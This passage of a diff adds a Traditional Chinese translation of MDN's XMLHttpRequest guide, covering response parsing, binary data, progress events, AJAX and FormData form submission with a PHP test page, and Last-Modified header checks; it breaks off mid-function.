+ <li>利用 {{domxref("XMLSerializer")}} 來序列化 <strong>DOM 樹成字串或檔案</strong>。</li>
+ <li>如果事先知道 XML 文件內容，可利用 {{jsxref("RegExp")}}。如果換行符號會影響 <code>RegExp</code> 掃描結果，則需要移除換行符號。然而，這項方式應該是「最後不得已的手段（last resort）」，因為一旦 XML 文件內容稍有變動，此方式就可能會失敗。</li>
+</ol>
+
+<h3 id="分析及操作含有_HTML_文件的_responseText_屬性">分析及操作含有 HTML 文件的 <code>responseText</code> 屬性</h3>
+
+<div class="note"><strong>備註：</strong>W3C 的<a href="https://dvcs.w3.org/hg/xhr/raw-file/tip/Overview.html">XMLHttpRequest</a> 規範允許透過 <code>XMLHttpRequest.responseXML</code> 屬性（{{Glossary("property/JavaScript", "property")}}）來解析 HTML。相關細節請參考 <a href="/docs/Web/API/XMLHttpRequest/HTML_in_XMLHttpRequest">HTML in XMLHttpRequest</a> 一文。</div>
+
+<p>若透過 <code>XMLHttpRequest</code> 來取得一個遠端的 HTML 網頁內容，則 <code>responseText</code> 屬性（{{Glossary("property/JavaScript", "property")}}）會是「一串（soup）」包含所有 HTML 標籤的字串。這可能使得在分析和操作上造成困難，以下有三種主要分析此一大串 HTML 字串的方式：</p>
+
+<ol>
+ <li>利用 <code>XMLHttpRequest.responseXML</code> 屬性。</li>
+ <li>將內容透過 <code>fragment.body.innerHTML</code> 注入<a href="/docs/Web/API/DocumentFragment">文件片段（document fragment）</a>之 <code>body</code> 中，並遍歷（traverse）文件片段的 DOM。</li>
+ <li>如果事先知道 HTML 之 <code>responseText</code> 內容，可利用 {{jsxref("RegExp")}}。如果換行符號會影響 <code>RegExp</code> 掃描結果，則需要移除換行符號。然而，這項方式應該是「最後不得已的手段（last resort）」，因為一旦 HTML 程式碼稍有變動，此方式就可能會失敗。</li>
+</ol>
+
+<h2 id="處理二進位資料">處理二進位資料</h2>
+
+<p>僅管 <code>XMLHttpRequest</code> 最常被用在傳送及接收文字資料，但它其實也可以傳送及接收二進位內容。有幾種經過良好測試的方法可以用來強制使用 <code>XMLHttpRequest</code> 發送二進位資料。透過使用 <code>XMLHttpRequest</code> 物件的 <code>.overrideMimeType()</code> 方法是一個可行的解決方案。</p>
+
+<pre class="brush:js">var oReq = new XMLHttpRequest();
+oReq.open("GET", url);
+// retrieve data unprocessed as a binary string
+oReq.overrideMimeType("text/plain; charset=x-user-defined");
+/* ... */
+</pre>
+
+<p>XMLHttpRequest Level 2 規範加入了新的 <a href="https://xhr.spec.whatwg.org/#the-responsetype-attribute"><code>responseType</code> 屬性</a>，讓收發二進位資料變得容易許多。</p>
+
+<pre class="brush:js">var oReq = new XMLHttpRequest();
+
+oReq.onload = function(e) {
+  var arraybuffer = oReq.response; // not responseText
+  /* ... */
+}
+oReq.open("GET", url);
+oReq.responseType = "arraybuffer";
+oReq.send();</pre>
+
+<p>更多的範例可參考<a href="/docs/DOM/XMLHttpRequest/Sending_and_Receiving_Binary_Data">傳送及接收二進位資料</a>頁面。</p>
+
+<h2 id="監視進度">監視進度</h2>
+
+<p><code>XMLHttpRequest</code> 提供了監聽請求於處理過程中所發生的各項事件之能力。包括了定期進度通知、錯誤通知等等。</p>
+
+<p><code>XMLHttpRequest</code> 支援可監視其傳輸進度的 DOM 進度事件，此事件遵循<a href="https://xhr.spec.whatwg.org/#interface-progressevent">進度事件規範</a>：這些事件實作了 {{domxref("ProgressEvent")}} 介面。</p>
+
+<pre class="brush:js">var oReq = new XMLHttpRequest();
+
+oReq.addEventListener("progress", updateProgress);
+oReq.addEventListener("load", transferComplete);
+oReq.addEventListener("error", transferFailed);
+oReq.addEventListener("abort", transferCanceled);
+
+oReq.open();
+
+// ...
+
+// progress on transfers from the server to the client (downloads)
+function updateProgress (oEvent) {
+  if (oEvent.lengthComputable) {
+    var percentComplete = oEvent.loaded / oEvent.total;
+    // ...
+  } else {
+    // Unable to compute progress information since the total size is unknown
+  }
+}
+
+function transferComplete(evt) {
+  console.log("The transfer is complete.");
+}
+
+function transferFailed(evt) {
+  console.log("An error occurred while transferring the file.");
+}
+
+function transferCanceled(evt) {
+  console.log("The transfer has been canceled by the user.");
+}</pre>
+
+<p>第 3-6 行加入了事件監聽器來處理使用 <code>XMLHttpRequest</code> 執行資料收發過程中的各類事件。</p>
+
+<div class="note"><strong>備註：</strong>必須在呼叫 <code>open()</code> 方法開啟請求連線之前就註冊好事件監聽器，否則 <code>progress</code> 事件將不會被觸發。</div>
+
+<p>在這個例子中，指定了 <code>updateProgress()</code> 函式作為 <code>progress</code> 事件處理器，<code>progress</code> 事件處理器會於 <code>progress</code> 事件物件的 <code>total</code> 及 <code>loaded</code> 屬性分別接收到要傳輸的總位元數及已送出的位元數。然而，假如 <code>lengthComputable</code> 屬性值為假，則代表要傳輸的總位元數是未知且 <code>total</code> 屬性值將會為零。</p>
+
+<p><code>progress</code> 事件同時存在於上傳及下載傳輸中。下載的相關事件會於 <code>XMLHttpRequest</code> 物件自己身上被觸發，如上面的範例。而上傳相關事件則在 <code>XMLHttpRequest.upload</code> 物件上被觸發，如以下範例：</p>
+
+<pre class="brush:js">var oReq = new XMLHttpRequest();
+
+oReq.upload.addEventListener("progress", updateProgress);
+oReq.upload.addEventListener("load", transferComplete);
+oReq.upload.addEventListener("error", transferFailed);
+oReq.upload.addEventListener("abort", transferCanceled);
+
+oReq.open();
+</pre>
+
+<div class="note"><strong>備註：</strong><code>progress</code> 事件無法用於 <code>file:</code> 通訊協定。</div>
+
+<div class="note">
+<p><strong>備註：</strong>自 {{Gecko("9.0")}} 開始，接收到每一個資料的區塊（chunk）時，<code>progress</code> 事件都會被觸發。包括在 <code>progress</code> 事件被觸發前，就已經接收到含有最後一個資料區塊的最後一個封包並且關閉連線的狀況下，在載入此封包時仍會自動觸發 <code>progress</code> 事件。這代表我們可以僅關注 <code>progress</code> 事件即能夠可靠的監視進度。</p>
+</div>
+
+<div class="note">
+<p><strong>備註：</strong>在 {{Gecko("12.0")}} 中，如果 <code>XMLHttpRequest</code> 的 <code>responseType</code> 屬性為「moz-blob」，那麼 <code>progress</code> 事件觸發時的 <code>XMLHttpRequest.response</code> 值會是一個目前包含了所接收資料的 {{domxref("Blob")}}。</p>
+</div>
+
+<p>我們也可以透過 <code>loadend</code> 事件來偵測到所有之三種下載結束狀況（<code>abort</code>、<code>load</code> 或 <code>error</code>）：</p>
+
+<pre class="brush:js">req.addEventListener("loadend", loadEnd);
+
+function loadEnd(e) {
+  console.log("The transfer finished (although we don't know if it succeeded or not).");
+}
+</pre>
+
+<p>請注意由 <code>loadend</code> 事件中接收到的資訊並無法確定是由何種結束狀況所觸發。不過還是可以用 <code>loadend</code> 事件來處理所有傳輸結束情況下需要執行的任務。</p>
+
+<h2 id="提交表單與上傳檔案">提交表單與上傳檔案</h2>
+
+<p><code>XMLHttpRequest</code> 物件實體有兩種方式來提交表單：</p>
+
+<ul>
+ <li>僅使用 AJAX</li>
+ <li>使用 {{domxref("XMLHttpRequest.FormData", "FormData")}} API</li>
+</ul>
+
+<p>使用 <code>FormData</code> API 是最簡單、快速的方式，但不利於將資料集合進行<a href="/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify">字串化</a>。<br>
+ 只使用 AJAX 的方式較為複雜，但也更加靈活、強大。</p>
+
+<h3 id="僅使用_XMLHttpRequest">僅使用 <code>XMLHttpRequest</code></h3>
+
+<p>以不透過 <code>FormData</code> API 提交表單的方式在大多數的情況下都不需要使用其他額外的 API。唯一的例外是<strong>要上傳一或多個檔案</strong>時，會需要用到 {{domxref("FileReader")}} API。</p>
+
+<h4 id="提交方法簡介">提交方法簡介</h4>
+
+<p>一個 HTML {{HTMLElement("form", "表單（form）")}}有以下四種提交方式：</p>
+
+<ul>
+ <li>使用 <code>POST</code> 方法，並且設定 <code>enctype</code> 屬性（{{Glossary("attribute")}}）為 <code>application/x-www-form-urlencoded</code>（預設值）。</li>
+ <li>使用 <code>POST</code> 方法，並且設定 <code>enctype</code> 屬性為 <code>text/plain</code>。</li>
+ <li>使用 <code>POST</code> 方法，並且設定 <code>enctype</code> 屬性為 <code>multipart/form-data</code>。</li>
+ <li>使用 <code>GET</code> 方法（在此情況下，<code>enctype</code> 屬性將會被忽略）。</li>
+</ul>
+
+<p>現在，假設要提交一個只包含兩個欄位的表單，欄位名稱為 <code>foo</code> 及 <code>baz</code>。若是使用 <code>POST</code> 方法，伺服器將會收到一個如以下三個例子之一的字串，這取決於所使用的編碼類型（encoding type）：</p>
+
+<ul>
+ <li>
+  <p>方法：<code>POST</code>；編碼類型：<code>application/x-www-form-urlencoded</code>（預設值）：</p>
+
+  <pre class="brush:plain">Content-Type: application/x-www-form-urlencoded
+
+foo=bar&amp;baz=The+first+line.%0D%0AThe+second+line.%0D%0A</pre>
+ </li>
+ <li>
+  <p>方法：<code>POST</code>；編碼類型：<code>text/plain</code>：</p>
+
+  <pre class="brush:plain">Content-Type: text/plain
+
+foo=bar
+baz=The first line.
+The second line.</pre>
+ </li>
+ <li>
+  <p>方法：<code>POST</code>；編碼類型：<code><a href="/docs/Web/HTTP/Basics_of_HTTP/MIME_types#multipartform-data">multipart/form-data</a></code>：</p>
+
+  <pre class="brush:plain">Content-Type: multipart/form-data; boundary=---------------------------314911788813839
+
+-----------------------------314911788813839
+Content-Disposition: form-data; name="foo"
+
+bar
+-----------------------------314911788813839
+Content-Disposition: form-data; name="baz"
+
+The first line.
+The second line.
+
+-----------------------------314911788813839--</pre>
+ </li>
+</ul>
+
+<p>如果是使用 <code>GET</code> 方法，一個如下方的字串會被直接附加入到 URL 上：</p>
+
+<pre class="brush:plain">?foo=bar&amp;baz=The%20first%20line.%0AThe%20second%20line.</pre>
+
+<h4 id="小型原生框架">小型原生框架</h4>
+
+<p>在我們提交 {{HTMLElement("form")}} 時，瀏覽器自動幫我們做了上面這些工作。假如要使用 JavaScript 達到同樣的效果就必須告訴直譯器（interpreter）要處理的<em>所有事</em>。然而，如何透過<em>純粹的</em> AJAX 來傳送表單複雜到難以在本頁解釋所有細節。基於這個理由，我們改為在這此提供<strong>一組完整（教學用）的框架</strong>，可用於上述四種的每一種<em>提交（submit）</em>，並包括<strong>上傳檔案</strong>：</p>
+
+<div style="height: 400px; margin-bottom: 12px; overflow: auto;">
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt;
+&lt;title&gt;Sending forms with pure AJAX &amp;ndash; MDN&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+
+"use strict";
+
+/*\
+|*|
+|*|  :: XMLHttpRequest.prototype.sendAsBinary() Polyfill ::
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/DOM/XMLHttpRequest#sendAsBinary()
+\*/
+
+if (!XMLHttpRequest.prototype.sendAsBinary) {
+  XMLHttpRequest.prototype.sendAsBinary = function(sData) {
+    var nBytes = sData.length, ui8Data = new Uint8Array(nBytes);
+    for (var nIdx = 0; nIdx &lt; nBytes; nIdx++) {
+      ui8Data[nIdx] = sData.charCodeAt(nIdx) &amp; 0xff;
+    }
+    /* send as ArrayBufferView...: */
+    this.send(ui8Data);
+    /* ...or as ArrayBuffer (legacy)...: this.send(ui8Data.buffer); */
+  };
+}
+
+/*\
+|*|
+|*|  :: AJAX Form Submit Framework ::
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest
+|*|
+|*|  This framework is released under the GNU Public License, version 3 or later.
+|*|  https://www.gnu.org/licenses/gpl-3.0-standalone.html
+|*|
+|*|  Syntax:
+|*|
+|*|   AJAXSubmit(HTMLFormElement);
+\*/
+
+var AJAXSubmit = (function () {
+
+  function ajaxSuccess () {
+    /* console.log("AJAXSubmit - Success!"); */
+    console.log(this.responseText);
+    /* you can get the serialized data through the "submittedData" custom property: */
+    /* console.log(JSON.stringify(this.submittedData)); */
+  }
+
+  function submitData (oData) {
+    /* the AJAX request... */
+    var oAjaxReq = new XMLHttpRequest();
+    oAjaxReq.submittedData = oData;
+    oAjaxReq.onload = ajaxSuccess;
+    if (oData.technique === 0) {
+      /* method is GET */
+      oAjaxReq.open("get", oData.receiver.replace(/(?:\?.*)?$/,
+          oData.segments.length &gt; 0 ? "?" + oData.segments.join("&amp;") : ""), true);
+      oAjaxReq.send(null);
+    } else {
+      /* method is POST */
+      oAjaxReq.open("post", oData.receiver, true);
+      if (oData.technique === 3) {
+        /* enctype is multipart/form-data */
+        var sBoundary = "---------------------------" + Date.now().toString(16);
+        oAjaxReq.setRequestHeader("Content-Type", "multipart\/form-data; boundary=" + sBoundary);
+        oAjaxReq.sendAsBinary("--" + sBoundary + "\r\n" +
+            oData.segments.join("--" + sBoundary + "\r\n") + "--" + sBoundary + "--\r\n");
+      } else {
+        /* enctype is application/x-www-form-urlencoded or text/plain */
+        oAjaxReq.setRequestHeader("Content-Type", oData.contentType);
+        oAjaxReq.send(oData.segments.join(oData.technique === 2 ? "\r\n" : "&amp;"));
+      }
+    }
+  }
+
+  function processStatus (oData) {
+    if (oData.status &gt; 0) { return; }
+    /* the form is now totally serialized! do something before sending it to the server... */
+    /* doSomething(oData); */
+    /* console.log("AJAXSubmit - The form is now serialized. Submitting..."); */
+    submitData (oData);
+  }
+
+  function pushSegment (oFREvt) {
+    this.owner.segments[this.segmentIdx] += oFREvt.target.result + "\r\n";
+    this.owner.status--;
+    processStatus(this.owner);
+  }
+
+  function plainEscape (sText) {
+    /* How should I treat a text/plain form encoding?
+       What characters are not allowed? this is what I suppose...: */
+    /* "4\3\7 - Einstein said E=mc2" ----&gt; "4\\3\\7\ -\ Einstein\ said\ E\=mc2" */
+    return sText.replace(/[\s\=\\]/g, "\\$&amp;");
+  }
+
+  function SubmitRequest (oTarget) {
+    var nFile, sFieldType, oField, oSegmReq, oFile, bIsPost = oTarget.method.toLowerCase() === "post";
+    /* console.log("AJAXSubmit - Serializing form..."); */
+    this.contentType = bIsPost &amp;&amp; oTarget.enctype ? oTarget.enctype : "application\/x-www-form-urlencoded";
+    this.technique = bIsPost ?
+        this.contentType === "multipart\/form-data" ? 3 : this.contentType === "text\/plain" ? 2 : 1 : 0;
+    this.receiver = oTarget.action;
+    this.status = 0;
+    this.segments = [];
+    var fFilter = this.technique === 2 ? plainEscape : escape;
+    for (var nItem = 0; nItem &lt; oTarget.elements.length; nItem++) {
+      oField = oTarget.elements[nItem];
+      if (!oField.hasAttribute("name")) { continue; }
+      sFieldType = oField.nodeName.toUpperCase() === "INPUT" ? oField.getAttribute("type").toUpperCase() : "TEXT";
+      if (sFieldType === "FILE" &amp;&amp; oField.files.length &gt; 0) {
+        if (this.technique === 3) {
+          /* enctype is multipart/form-data */
+          for (nFile = 0; nFile &lt; oField.files.length; nFile++) {
+            oFile = oField.files[nFile];
+            oSegmReq = new FileReader();
+            /* (custom properties:) */
+            oSegmReq.segmentIdx = this.segments.length;
+            oSegmReq.owner = this;
+            /* (end of custom properties) */
+            oSegmReq.onload = pushSegment;
+            this.segments.push("Content-Disposition: form-data; name=\"" +
+                oField.name + "\"; filename=\"" + oFile.name +
+                "\"\r\nContent-Type: " + oFile.type + "\r\n\r\n");
+            this.status++;
+            oSegmReq.readAsBinaryString(oFile);
+          }
+        } else {
+          /* enctype is application/x-www-form-urlencoded or text/plain or
+             method is GET: files will not be sent! */
+          for (nFile = 0; nFile &lt; oField.files.length;
+              this.segments.push(fFilter(oField.name) + "=" + fFilter(oField.files[nFile++].name)));
+        }
+      } else if ((sFieldType !== "RADIO" &amp;&amp; sFieldType !== "CHECKBOX") || oField.checked) {
+        /* NOTE: this will submit _all_ submit buttons. Detecting the correct one is non-trivial. */
+        /* field type is not FILE or is FILE but is empty */
+        this.segments.push(
+          this.technique === 3 ? /* enctype is multipart/form-data */
+            "Content-Disposition: form-data; name=\"" + oField.name + "\"\r\n\r\n" + oField.value + "\r\n"
+          : /* enctype is application/x-www-form-urlencoded or text/plain or method is GET */
+            fFilter(oField.name) + "=" + fFilter(oField.value)
+        );
+      }
+    }
+    processStatus(this);
+  }
+
+  return function (oFormElement) {
+    if (!oFormElement.action) { return; }
+    new SubmitRequest(oFormElement);
+  };
+
+})();
+
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+
+&lt;h1&gt;Sending forms with pure AJAX&lt;/h1&gt;
+
+&lt;h2&gt;Using the GET method&lt;/h2&gt;
+
+&lt;form action="register.php" method="get" onsubmit="AJAXSubmit(this); return false;"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Registration example&lt;/legend&gt;
+    &lt;p&gt;
+      First name: &lt;input type="text" name="firstname" /&gt;&lt;br /&gt;
+      Last name: &lt;input type="text" name="lastname" /&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;h2&gt;Using the POST method&lt;/h2&gt;
+&lt;h3&gt;Enctype: application/x-www-form-urlencoded (default)&lt;/h3&gt;
+
+&lt;form action="register.php" method="post" onsubmit="AJAXSubmit(this); return false;"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Registration example&lt;/legend&gt;
+    &lt;p&gt;
+      First name: &lt;input type="text" name="firstname" /&gt;&lt;br /&gt;
+      Last name: &lt;input type="text" name="lastname" /&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;h3&gt;Enctype: text/plain&lt;/h3&gt;
+
+&lt;form action="register.php" method="post" enctype="text/plain"
+    onsubmit="AJAXSubmit(this); return false;"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Registration example&lt;/legend&gt;
+    &lt;p&gt;
+      Your name: &lt;input type="text" name="user" /&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      Your message:&lt;br /&gt;
+      &lt;textarea name="message" cols="40" rows="8"&gt;&lt;/textarea&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;h3&gt;Enctype: multipart/form-data&lt;/h3&gt;
+
+&lt;form action="register.php" method="post" enctype="multipart/form-data"
+    onsubmit="AJAXSubmit(this); return false;"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Upload example&lt;/legend&gt;
+    &lt;p&gt;
+      First name: &lt;input type="text" name="firstname" /&gt;&lt;br /&gt;
+      Last name: &lt;input type="text" name="lastname" /&gt;&lt;br /&gt;
+      Sex:
+      &lt;input id="sex_male" type="radio" name="sex" value="male" /&gt;
+      &lt;label for="sex_male"&gt;Male&lt;/label&gt;
+      &lt;input id="sex_female" type="radio" name="sex" value="female" /&gt;
+      &lt;label for="sex_female"&gt;Female&lt;/label&gt;&lt;br /&gt;
+      Password: &lt;input type="password" name="secret" /&gt;&lt;br /&gt;
+      What do you prefer:
+      &lt;select name="image_type"&gt;
+        &lt;option&gt;Books&lt;/option&gt;
+        &lt;option&gt;Cinema&lt;/option&gt;
+        &lt;option&gt;TV&lt;/option&gt;
+      &lt;/select&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      Post your photos:
+      &lt;input type="file" multiple name="photos[]"&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input id="vehicle_bike" type="checkbox" name="vehicle[]" value="Bike" /&gt;
+      &lt;label for="vehicle_bike"&gt;I have a bike&lt;/label&gt;&lt;br /&gt;
+      &lt;input id="vehicle_car" type="checkbox" name="vehicle[]" value="Car" /&gt;
+      &lt;label for="vehicle_car"&gt;I have a car&lt;/label&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      Describe yourself:&lt;br /&gt;
+      &lt;textarea name="description" cols="50" rows="8"&gt;&lt;/textarea&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+</div>
+
+<p>為了進行測試，建立一個名為 <strong>register.php</strong> 的 PHP 頁面（即為上面範例表單之 <code>action</code> 屬性（{{Glossary("attribute")}}）所指向的位置），並輸入以下<em>最簡化</em>的內容：</p>
+
+<pre class="brush: php">&lt;?php
+/* register.php */
+
+header("Content-type: text/plain");
+
+/*
+NOTE: You should never use `print_r()` in production scripts, or
+otherwise output client-submitted data without sanitizing it first.
+Failing to sanitize can lead to cross-site scripting vulnerabilities.
+*/
+
+echo ":: data received via GET ::\n\n";
+print_r($_GET);
+
+echo "\n\n:: Data received via POST ::\n\n";
+print_r($_POST);
+
+echo "\n\n:: Data received as \"raw\" (text/plain encoding) ::\n\n";
+if (isset($HTTP_RAW_POST_DATA)) { echo $HTTP_RAW_POST_DATA; }
+
+echo "\n\n:: Files received ::\n\n";
+print_r($_FILES);
+
+</pre>
+
+<p>使用這個框架的語法簡單如下：</p>
+
+<pre class="syntaxbox">AJAXSubmit(myForm);</pre>
+
+<div class="note"><strong>備註：</strong>此框架使用了 {{domxref("FileReader")}} API 來發送檔案上傳。這是個較新的 API，且 IE9 或其先前版本並未實作。因為這個理由，AJAX-only 上傳被認為是<strong>一項實驗性技術</strong>。若沒有需要上傳二進位檔案，此框架可於大部分瀏覽器中運作良好。</div>
+
+<div class="note"><strong>備註：</strong>傳送二進位檔案的最佳方式是藉由 {{jsxref("ArrayBuffer", "ArrayBuffers")}} 或 {{domxref("Blob", "Blobs")}} 結合 {{domxref("XMLHttpRequest.send()", "send()")}} 方法來送出，如果可以也能搭配 <code>FileReader</code> API 的 {{domxref("FileReader.readAsArrayBuffer()", "readAsArrayBuffer()")}} 方法先進行讀取。但因為這段程式指令碼（script）的目的是要處理<a href="/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify">可字串化的</a>原始資料，所以使用 {{domxref("XMLHttpRequest.sendAsBinary()", "sendAsBinary()")}} 方法結合 <code>FileReader</code> API 的 {{domxref("FileReader.readAsBinaryString()", "readAsBinaryString()")}} 方法。就其本身來看，以上的指令碼只有在處理小型檔案時才有意義。假如不打算上傳二進位內容，請考慮使用 <code>FormData</code> API。</div>
+
+<div class="note"><strong>備註：</strong>非標準的 <code>sendAsBinary</code> 方法在 Gecko 31 {{geckoRelease(31)}} 已被認為是棄用的（deprecated），並且即將被移除。而標準的 <code>send(Blob data)</code> 方法可以作為替代。</div>
+
+<h3 id="使用_FormData_物件">使用 FormData 物件</h3>
+
+<p>{{domxref("XMLHttpRequest.FormData", "FormData")}} 建構式可以讓我們收集一連串名／值對資料並透過 <code>XMLHttpRequest</code> 送出。其主要用於傳送表單資料，但也能夠單獨的由表單建立來傳輸使用者輸入的資料。若表單的編碼類型（encoding type）被設定為「multipart/form-data」，則由 <code>FormData</code> 所發送的資料格式和表單用來傳送資料的 <code>submit()</code> 方法相同。FormData 物件可以搭配 <code>XMLHttpRequest</code> 以多種方式使用。相關的範例，以及可以怎麼利用 FormData 配合 XMLHttpRequest 的說明，請參考<a href="/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects">使用 FormData 物件</a>頁面。為了教學使用，下方為<strong>一個利用 <code>FormData</code> API 來改寫<a href="#小型原生框架">先前範例</a>的<em>翻譯</em>版本</strong>。注意這段精簡後的程式碼：</p>
+
+<div style="height: 400px; margin-bottom: 12px; overflow: auto;">
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta http-equiv="Content-Type" charset="UTF-8" /&gt;
+&lt;title&gt;Sending forms with FormData &amp;ndash; MDN&lt;/title&gt;
+&lt;script&gt;
+"use strict";
+
+function ajaxSuccess () {
+  console.log(this.responseText);
+}
+
+function AJAXSubmit (oFormElement) {
+  if (!oFormElement.action) { return; }
+  var oReq = new XMLHttpRequest();
+  oReq.onload = ajaxSuccess;
+  if (oFormElement.method.toLowerCase() === "post") {
+    oReq.open("post", oFormElement.action);
+    oReq.send(new FormData(oFormElement));
+  } else {
+    var oField, sFieldType, nFile, sSearch = "";
+    for (var nItem = 0; nItem &lt; oFormElement.elements.length; nItem++) {
+      oField = oFormElement.elements[nItem];
+      if (!oField.hasAttribute("name")) { continue; }
+      sFieldType = oField.nodeName.toUpperCase() === "INPUT" ?
+          oField.getAttribute("type").toUpperCase() : "TEXT";
+      if (sFieldType === "FILE") {
+        for (nFile = 0; nFile &lt; oField.files.length;
+            sSearch += "&amp;" + escape(oField.name) + "=" + escape(oField.files[nFile++].name));
+      } else if ((sFieldType !== "RADIO" &amp;&amp; sFieldType !== "CHECKBOX") || oField.checked) {
+        sSearch += "&amp;" + escape(oField.name) + "=" + escape(oField.value);
+      }
+    }
+    oReq.open("get", oFormElement.action.replace(/(?:\?.*)?$/, sSearch.replace(/^&amp;/, "?")), true);
+    oReq.send(null);
+  }
+}
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+
+&lt;h1&gt;Sending forms with FormData&lt;/h1&gt;
+
+&lt;h2&gt;Using the GET method&lt;/h2&gt;
+
+&lt;form action="register.php" method="get" onsubmit="AJAXSubmit(this); return false;"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Registration example&lt;/legend&gt;
+    &lt;p&gt;
+      First name: &lt;input type="text" name="firstname" /&gt;&lt;br /&gt;
+      Last name: &lt;input type="text" name="lastname" /&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;h2&gt;Using the POST method&lt;/h2&gt;
+&lt;h3&gt;Enctype: application/x-www-form-urlencoded (default)&lt;/h3&gt;
+
+&lt;form action="register.php" method="post" onsubmit="AJAXSubmit(this); return false;"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Registration example&lt;/legend&gt;
+    &lt;p&gt;
+      First name: &lt;input type="text" name="firstname" /&gt;&lt;br /&gt;
+      Last name: &lt;input type="text" name="lastname" /&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;h3&gt;Enctype: text/plain&lt;/h3&gt;
+
+&lt;p&gt;The text/plain encoding is not supported by the FormData API.&lt;/p&gt;
+
+&lt;h3&gt;Enctype: multipart/form-data&lt;/h3&gt;
+
+&lt;form action="register.php" method="post" enctype="multipart/form-data"
+    onsubmit="AJAXSubmit(this); return false;"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Upload example&lt;/legend&gt;
+    &lt;p&gt;
+      First name: &lt;input type="text" name="firstname" /&gt;&lt;br /&gt;
+      Last name: &lt;input type="text" name="lastname" /&gt;&lt;br /&gt;
+      Sex:
+      &lt;input id="sex_male" type="radio" name="sex" value="male" /&gt;
+      &lt;label for="sex_male"&gt;Male&lt;/label&gt;
+      &lt;input id="sex_female" type="radio" name="sex" value="female" /&gt;
+      &lt;label for="sex_female"&gt;Female&lt;/label&gt;&lt;br /&gt;
+      Password: &lt;input type="password" name="secret" /&gt;&lt;br /&gt;
+      What do you prefer:
+      &lt;select name="image_type"&gt;
+        &lt;option&gt;Books&lt;/option&gt;
+        &lt;option&gt;Cinema&lt;/option&gt;
+        &lt;option&gt;TV&lt;/option&gt;
+      &lt;/select&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      Post your photos:
+      &lt;input type="file" multiple name="photos[]"&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input id="vehicle_bike" type="checkbox" name="vehicle[]" value="Bike" /&gt;
+      &lt;label for="vehicle_bike"&gt;I have a bike&lt;/label&gt;&lt;br /&gt;
+      &lt;input id="vehicle_car" type="checkbox" name="vehicle[]" value="Car" /&gt;
+      &lt;label for="vehicle_car"&gt;I have a car&lt;/label&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      Describe yourself:&lt;br /&gt;
+      &lt;textarea name="description" cols="50" rows="8"&gt;&lt;/textarea&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+</div>
+
+<div class="note"><strong>備註：</strong>如同之前所說，<strong>{{domxref("FormData")}} 物件是不能被<a href="/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify">字串化</a>的物件</strong>。若想要字串化一個被提交的資料，請使用<a href="#小型原生框架">先前的<em>純</em> AJAX 範例</a>。還要注意的是，雖然在這個例子中有一些 <code>file</code> {{ HTMLElement("input") }} 欄位，<strong>當你透過 <code>FormData</code> API 來提交表單便也不需要使用 {{domxref("FileReader")}} API</strong>：檔案會自動地載入並上傳。</div>
+
+<h2 id="取得最後修改日期">取得最後修改日期</h2>
+
+<pre class="brush: js">function getHeaderTime () {
+  console.log(this.getResponseHeader("Last-Modified"));  /* A valid GMTString date or null */
+}
+
+var oReq = new XMLHttpRequest();
+oReq.open("HEAD" /* use HEAD if you only need the headers! */, "yourpage.html");
+oReq.onload = getHeaderTime;
+oReq.send();</pre>
+
+<h3 id="當最後修改日期改變時做一些事">當最後修改日期改變時做一些事</h3>
+
+<p>先建立兩個函式：</p>
+
+<pre class="brush: js">function getHeaderTime () {
+  var nLastVisit = parseFloat(window.localStorage.getItem('lm_' + this.filepath));
+  var nLastModif = Date.parse(this.getResponseHeader("Last-Modified"));
+
+  if (isNaN(nLastVisit) || nLastModif &gt; nLastVisit) {
